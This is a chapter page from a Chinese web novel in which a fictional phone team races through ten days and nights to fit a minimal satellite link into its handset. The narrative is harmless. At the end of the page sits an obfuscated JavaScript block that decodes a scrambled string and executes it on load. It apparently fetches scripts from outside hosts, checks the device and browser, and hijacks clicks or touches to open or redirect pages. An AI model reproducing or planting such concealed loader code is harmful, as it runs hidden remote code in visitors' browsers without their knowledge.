首页
第279章 卫星团队赶工十天
返回
关灯 护眼:关 字号:小

第279章 卫星团队赶工十天十夜

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    如果说飞星完成第二次点亮成功之后,整个项目曾短暂进入过一种「终于找到活路」的沉稳状态,那麽卫星链路被拖回主线的那一刻起,这份沉稳就被直接压成了战时节奏。不是更嘈杂,反而更安静。所有原本围绕「继续优化」「继续释放效率」「继续把表达长回来」的讨论,都被一条新出现的硬线拦腰截断——
    十天内,给出一版能进整机的答案。
    这不是一个普通项目期限。
    它的含义是,卫星通信不被允许作为「后续版本储备」慢慢磨,也不被允许停留在「概念成立」的舒适地带里。它必须在极短的时间里,从低可见度的预研暗线,硬生生进入飞星这台已经极度拥挤丶极度精密丶极度不愿意再被拖回旧逻辑的整机生命体之中。
    第一天凌晨,应急通信组被全部唤醒。
    进入园区的人不多,只有十几名骨干,分三批走不同通道,进楼后没有任何对外登记名称,所有通行记录全部以新代号封存。他们中的大多数人已经习惯长期处在集团内部那种「问题还没成熟,不需要被太多人看见」的灰度区里,做的是那些真正可能在未来改变产品边界丶却又随时可能因为现实代价被砍掉的方向。
    本书由??????????.??????全网首发
    有人做过低轨链路自适应,有人长期盯极端弱覆盖场景下的最小消息建立,有人专门研究终端端侧超低频通信状态机,有人则一直在做那种平时永远不会被营销部拿去讲丶可一旦出事却极其关键的异常场景兜底链路。
    可即便是这些人,走进试制楼临时拉出的那间新战情室时,仍旧同时感受到了一种不同寻常的压迫。
    因为墙上挂着的,不是某个预研项目的目标图,而是飞星的整机生存链。
    主控释放。
    显示建立。
    关键供电切换。
    主板主路径。
    热起始区缓冲。
    边界回流避冲。
    而在这条生存链右侧,新插进去一条用深灰色标记的新节点:
    极端场景连接能力(二层接入)
    这条线没有被画在最前,也没有用高亮强调,反而像一根被谨慎压低存在感的暗针。可应急通信组所有人一眼就看懂了它真正的分量——集团不是要他们做一个「未来可以加上去」的模块,而是要他们证明,这条链路能不能在不破坏飞星现有生命体秩序的前提下,被整机真正接住。
    临时战情室的第一次碰头会,林薇没有讲愿景,也没有讲「这是战略级机会」之类的话。
    她只在白板上写了三句话。
    卫星链路不参加第一轮生存竞争。
    任何补丁式接入一票否决。
    你们做的不是外挂,是飞星生命体的第二层器官。
    写完,她把笔丢在桌上,看着应急通信组和已经并进来的射频丶主板丶晶片丶系统几个方向的负责人,语气平得没有一丝波澜:
    「从现在开始,十天十夜。你们不是在赶一个功能,而是在回答一个更难的问题——飞星在学会活下来以后,能不能再长出一条在最坏环境里也不断掉的线。」
    没人鼓掌,也没人热血上头。
    因为这句话太重,重到所有人第一反应都不是兴奋,而是迅速往下拆现实。
    「先定义最小能力边界。」应急通信组负责人韩卓是最先开口的。他四十出头,长期待在低可见度项目里,讲话没有多馀废话,「我们不做全功能卫星通信终端,也不做面向公开叙事的『极端全覆盖』,那会直接把飞星拖死。只保最小链路:弱覆盖场景建立丶低频次短报文丶关键状态回传丶和系统安全栈的最小协同。」
    顾行立刻接住:「最小能力也先别急着谈『能做什麽』,先谈『会占什麽』。占哪段频谱表达?压不压现有边界?有没有办法不把隐性分区第二版重新打散?」
    主板组负责人把飞星新底层图投上大屏,指着被压到几乎没有多馀空间的关键区域:「这里没任何一块是真空地。你们每多要一点路径,不是跟边界抢,就是跟热起始区抢,要麽就是逼主板主路径绕更危险的弯。」
    章宸坐在靠后的位置,没抢着发言,只在看第一版最小卫星能力定义页。他比在场很多人都清楚,卫星通信最容易犯的错误,不是硬体太大,而是系统把它当作一个「平时睡着丶极端时醒来」的简单附件。可飞星现在根本不允许这种外接模块思维存在。它要麽一开始就被纳入系统调度哲学,要麽就会在最关键的时候成为打破秩序的闯入者。
    赵静则把小芯工业模型和整机冲突分析模型同时挂到了屏幕角落。
    她这十天的任务不只是「帮忙看看」,而是要让AI第一次真正参与到一种更复杂的判断里:不是哪个工艺环节错了,也不是哪块中间态变了,而是新增的一条连接能力,会不会在整机生命体内部制造新的不可共活路径。
    会议开了不到四十分钟,战时分工就被彻底切开。
    应急通信组负责重新定义最小能力边界和链路状态机。
    射频组负责判定是否存在「二层接入而不重写一层边界」的表达路径。
    主板组负责找出所有理论上还能让位丶但一让就可能连锁牵动热与供电的灰区。
    晶片组和终端系统组共同重写异常场景唤醒与待机调度逻辑。
    材料和结构组则不再围着外观表达打转,而是去找飞星现有外壳丶边框和异构分层里,哪些位置可能隐藏着给第二层器官留缝的空间。
    会议结束时,林薇只留下一句话:
    「十天,不够让你们把它做漂亮,但够让你们证明它是不是一条真命。」
    第一天白天,所有人都在拆。
    拆旧假设。
    拆原本预研里那些看上去「理论成立」丶一进整机就会死人命的浪漫方案。
    拆想当然地以为只要功耗预算多出来一点丶热再低一点丶天线调得再聪明一点,就能把卫星链路塞进来的天真路径。
    韩卓带着团队把过去的预研文档一页页翻开,红笔划掉了一半。
    「这个不要。」
    「这个也不要。」
    「这个太像对外故事,不像工程答案。」
    「这个建立时间太长,极端场景里用户等不到。」
    「这个状态机依赖主链路过多,不够独立。」
    「这个异常回落路径不清,等于往飞星身体里塞一根不知道什麽时候会抽风的线。」
    一个上午过去,原本厚厚一摞「卫星能力设想」,最后只剩下寥寥几页。
    看起来极其寒酸。
    不炫,不全,不像一个旗舰项目该有的野心。
    可韩卓看着那几页,反而第一次轻轻吐出一口气:「现在开始像是要活的东西了。」
    射频组这边更不客气。
    顾行把第一版接入表达图直接拍在桌上,摇头:「太贪。你们还在想既不动现有边界语言,又想把卫星链路完整藏进去。没有这种好事。飞星现在不是在做『优雅藏功能』,是在做『让新器官别把老器官挤死』。」
    江衡把第二版仿真图调出来,指着一块极细的区域:「如果把卫星链路表达压到这里,局部看是成立的,但整机一跑起来,这里会跟现有回流路径形成新的高风险耦合带。」
    「会不会只是仿真过保守?」旁边有人问。
    顾行直接回了一句:「飞星走到今天,谁再用『可能只是仿真太保守』来安慰自己,谁就等着被整机打脸。」
    这句话把所有人都按回了现实。
    主板组更像在做一场危险的外科手术。
    他们面前摊着的不是一张普通布板图,而是飞星那套已经好不容易长出秩序的新生存链底图。每动一小块,不只是线路改一下那麽简单,而是会牵扯主控释放丶关键供电切换丶热起始区丶边界回流和显示建立这些已经被反覆验证过的活路。
    主板负责人赵启把图放到最大,盯着看了整整十分钟,最后才低声说:「不是没位置,是每个位置都写着代价。」
    旁边的工程师苦笑:「那我们现在做什麽?挑一个最不疼的地方挖?」
    赵启摇了摇头:「飞星没这种奢侈。我们不是挑最不疼的,是挑挖开以后还有机会重新长好的地方。」
    这就是整个卫星团队第一天结束时的真实状态。
    不是「已经看到希望」,而是所有人都在被迫接受同一个现实:要把一条极端场景连接能力拖进飞星,不是找个角落塞进去,而是要在一个已经极端紧绷的生命体里,重新找到一块还能长出新器官的组织。
    第二天开始,节奏更狠。
    应急通信组不再单独开会,而是直接搬进了飞星总控区旁边的副战情室。所有人白天盯方案,晚上盯仿真,凌晨盯联调推演。没有「做完今天就回去休息」的说法,只有轮换着趴一会儿丶醒了继续干。
    赵静把小芯模型接进了他们的工作流,不是为了替人做决定,而是用来抓那种人脑容易忽略的「路径重叠风险」。
    第三天凌晨,小芯第一次标出一片让人不太舒服的高亮区:
    卫星链路待机侦听路径
    主控异常唤醒序列
    边界回流避冲区
    局部热缓冲尾段
    四个原本不该同时高耦合的部分,被模型标成了一片「不能共活概率偏高」的危险带。
    韩卓看见后,第一反应是:「模型是不是又太敏感了?」
    赵静却没有顺着这句自我安慰往下走,而是直接把那片高亮区拉到整机图最中间:「飞星现在最不能做的,就是把『概率偏高』当成还没发生。整机会替我们把所有侥幸都算出来。」
    林薇当时正站在总控图前,听完只说了一句:
    「把侦听路径砍短。」
    韩卓愣了一下:「砍短以后,极端场景捕获概率会下去。」
    「那就接受它不是万能链路。」林薇连头都没回,「飞星现在要的不是一条什麽都想救的卫星能力,而是一条能活着丶能真正帮用户留住最后那口气的链路。别再试图让它一出生就无所不能。」
    这句话一下把很多人的思路砍清了。
    第四天,最小能力定义被再次削薄。
    不再追求更多消息类型,不再追求更长待机侦听,不再追求某些在纸面上很好看的覆盖表现,而是把整个卫星链路的角色压缩成一句最朴素的话:
    在最坏环境里,飞星仍能完成最低必要的主动发声。
    这句话一落地,很多原本怎麽也谈不拢的取舍,反而开始有了判断标尺。
    第五天,真正的难点浮了出来。
    不是链路本身,也不是系统状态机,而是天线表达。
    卫星通信进终端,从来都不是「加一块支持卫星的晶片」那麽简单。真正要命的是,现有边界丶现有天线策略丶现有隐性分区丶现有外观连续感,全部会因为这条链路的存在被重新询问:你们还能不能共活?
    顾行带着江衡和几名射频工程师,在仿真室里连着熬了两个通宵,最后拿出来三版方案,自己先毙了两版。
    「这版太像补丁。」
    「这版看着漂亮,量产必出事。」
    「这版局部成立,整机一握持就变脸。」
    「这版能过实验室,过不了用户手。」
    江衡盯着第三版图,嗓子都哑了:「那剩下这版呢?」
    顾行沉默了很久,最后才开口:「剩下这版,不优雅。」
    「什麽意思?」
    「意思是,它不再试图把卫星链路完全藏进原有边界语言里。」顾行声音低得发紧,「它承认自己是一条新器官,所以让现有边界语言退一步,给它留出生存缝。」
    这句话一出来,仿真室里一片安静。
    因为谁都知道,这相当于把飞星好不容易长回来的某部分「极致连续感」,再次往后推了一步。
    可同时,所有人也都明白,正是这种「表达退一步,生存先成立」的原则,才把飞星从第一次整机上电失败后一路拽了回来。现在,卫星链路也必须接受同样的纪律。
    第六天,第一版可接入整机的硬体组合草案终于出来。
    不完美。
    占用空间比原本最理想设想更大。
    表达代价也比最初内部某些浪漫想像更重。
    但它第一次同时满足了几个最关键的条件:不破坏当前生存链,不直接顶死边界回流,不在热起始区制造新死亡窗口,也不要求天衡5为它单独牺牲整套现有调度哲学。
    总控会议开得很短。
    林薇看完草案后,只问了三件事:
    「第一,主板要再动多大?」
    赵启回答:「关键区域动,但能控制在新生存链允许的重排范围内。」
    「第二,卫星链路第一次接入时,谁给谁让位?」
    顾行答:「它给生存链让位,它是二层能力。」
    「第三,一旦极端场景触发,它会不会把飞星重新拖回多个系统同时抢命?」
    章宸说:「不会是零风险,但状态机已经改成『先保系统稳定,再给连接能力开门』。不会再让它和一层生命竞争同一窗口。」
    林薇听完,没有说「过」,只说:「做样件。」
    这两个字,意味着十天十夜的战争,正式从方案期进入样件期。
    第七天开始,整个试制楼状态再次变了。
    应急通信组不再只是拿着图说话,而是开始跟着主板丶射频丶系统和装配一起进样件。主板房整夜亮灯,材料组和结构组把边框丶分层和局部净空方案一遍遍重算,设备团队则重新写夹持与中间态确认逻辑——因为新链路一进来,哪怕只是二层接入,也会让整机内部应力路径和局部建立顺序发生变化。
    赵川站在机械臂控制台前,看着新模板一脸麻木:「飞星是不是跟『稳定下来』这四个字天生有仇?」
    张京京站在他旁边,盯着曲线一笔笔改参数,半天才回一句:「不是有仇,是它一稳定,就想长新骨头。」
    这句话很轻,可设备组几个人都没笑。
    因为这就是事实。
    飞星从来就不是一个「终于做稳了,接下来慢慢磨」的项目。它每跨过一道坎,都会立刻把下一层更难的定义扔到所有人面前。
    第八天深夜,第一台带最小卫星接入能力的半整机样件终于被放到联调台上。
    它还不是最终形态,甚至谈不上完整,只是一台在飞星当前生命体结构里,被硬生生长进了第二层连接器官的试验体。
    韩卓站在联调区外侧,脸色苍白得像纸。
    他和团队这几天几乎没离开过楼里,靠咖啡丶冷水和轮流趴十五分钟硬撑到现在。对他来说,这不只是一个预研方向进入主线的机会,而是一场证明:应急通信这种平时看似边缘的能力,能不能真的变成新时代终端定义的一部分。
    第一次短时接入测试,没有跑全流程。
    林薇定的规则很狠——先不追求「发出去」,先看它会不会把飞星已有生存链搞乱。
    主控释放正常。
    显示建立正常。
    关键供电切换正常。
    热起始区缓冲正常。
    边界回流轻微波动,但未越线。
    到这里,联调区里很多人才第一次真切地意识到,十天十夜的拼命,至少没有白搭。
    因为卫星链路最可怕的不是「自己不工作」,而是它一进来,先把别的东西都搞坏。可现在,它至少学会了第一件最重要的事:不乱抢活路。
    第九天,系统组和应急通信组开始推最小消息建立。
    不是理想场景,而是极端弱覆盖模拟。
    链路捕获慢。
    状态切换比普通通信场景粗粝得多。
    提示路径也必须被重写,不能像传统手机那样把复杂过程和不确定性一股脑丢给用户。
    赵静盯着界面推演,忽然说:「它不能像一个炫技功能。」
    旁边的人一愣。
    赵静继续道:「如果用户真的走到要用这条链路的场景,他要的不是『这台机器很先进』,而是『它别让我慌』。界面语言丶状态提示丶AI辅助词句,全都得改。」
    这句话一下提醒了所有人。
    飞星现在做的不是一个发布会上拿来喊口号的卖点,而是一条在最坏环境下给人保底的线。那它的产品语言也必须服从这个现实,而不是沉迷于展示自己多强。
    于是,小芯第一次被拉进卫星链路的用户侧逻辑,不再是当「语音助手」,而是当一个在极端连接场景里帮用户减少认知负担的静默协助者。
    「不是说得多厉害,」赵静盯着稿子,「是说得够少丶够准丶够让人心里稳。」
    第十天凌晨,整个试制楼几乎都带着一种被熬透后的冷感。
    没有人还有多馀情绪,连说话都开始像在直接输出结论。可偏偏就在这种状态下,战情室里的大屏上,一条新的联合状态曲线慢慢稳住了。
    卫星最小链路接入后,飞星整机没有出现生存链级别的回退。
    主控丶显示丶供电丶热丶边界没有被重新拉回「互相争命」的旧局面。
    而在极端弱覆盖模拟里,那条被无数次砍薄丶让位丶压缩和重写过的链路,终于完成了第一次短报文级建立。
    没有人说话。
    韩卓盯着屏幕,眼眶一点点发红,半晌才很轻地骂了一句:「真他妈活下来了。」
    顾行坐在旁边,整个人靠在椅背上,像是终于把肩上那块看不见的石头放下去了一点:「别高兴太早,它现在只是证明自己不是个会把整机拖死的器官。」
    「那也够了。」韩卓低声说。
    林薇是在几分钟后走进来的。
    她明显也已经撑到了极限,眼底有一层很淡却压不住的疲色。她没有去看任何人的表情,只看了眼总控屏上的几条核心状态曲线,又看了看那条短报文级建立成功的记录。
    几秒后,她问:「性质判断。」
    章宸先开口:「不是补丁活着,是整机接住了它。」
    顾行也点头:「边界语言被迫再退了一步,但没塌。」
    赵静说:「用户侧可以做,不会是恐慌型功能。」
    韩卓最后说了一句:「它不是万能链路,但它是真命。」
    联调区里安静了好几秒。
    然后,林薇极轻地点了一下头。
    「那就往下一步走。」她说。
    这句话像某种终于被允许向前的放行指令,落在每个人心里都很重。因为所有人都知道,这意味着十天十夜不眠不休抢出来的,不只是一个「勉强成立的卫星模块」,而是一条真正拿到继续进入飞星整机资格的新生命线。
    天快亮时,陈醒来到试制楼。
    他没有走进最里面的联调区,只在总控区停下,看着主屏上那条终于被标成「二层接入成立」的深灰色节点,沉默了很久。
    苏黛站在旁边,声音也很轻:「卫星团队撑住了。」
    陈醒点了点头,却没有露出太多喜色。
    因为他很清楚,十天十夜抢出来的只是一张门票,不是终局。
    卫星链路既然拿到了进整机的资格,飞星下一步就不再只是「证明二层能力能活」,而是要真正面对更残酷的合体问题——当这条新器官和天衡5丶新主板丶隐性分区第二版丶显示丶热丶边界表达丶装配路径全部一起被压进工程机时,飞星还能不能维持它那套刚刚建立起来的整机生命秩序?
    更进一步,一旦工程机真的成型,意味着飞星会第一次真正以一种接近成品的形态站到世界面前。
    而那时候,任何风吹草动,都可能比现在敏感十倍。
    林薇从联调区走出来时,手里已经多了一份新的整机排期表。
    不是原来的版本。
    最上方标题被重写了:
    天衡5工程机正式成型战时排期
    她把那份排期递给陈醒,没有多馀的话,只说:「接下来,不是抢链路了,是抢整机。」
    陈醒接过来,看了一眼,目光停在最中间那行字上:
    卫星链路丶天衡5丶新主板丶新边界语言丶整机表达统一并机窗口
    他的手指在那行字上停了半秒,随后抬起头,看向窗外已经开始泛白的天色。
    他知道,飞星最难的一段,还没有真正开始。
    因为当所有分线都证明自己「单独活着没问题」之后,下一场仗要解决的,永远都是更残酷的事:
    它们能不能一起活。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();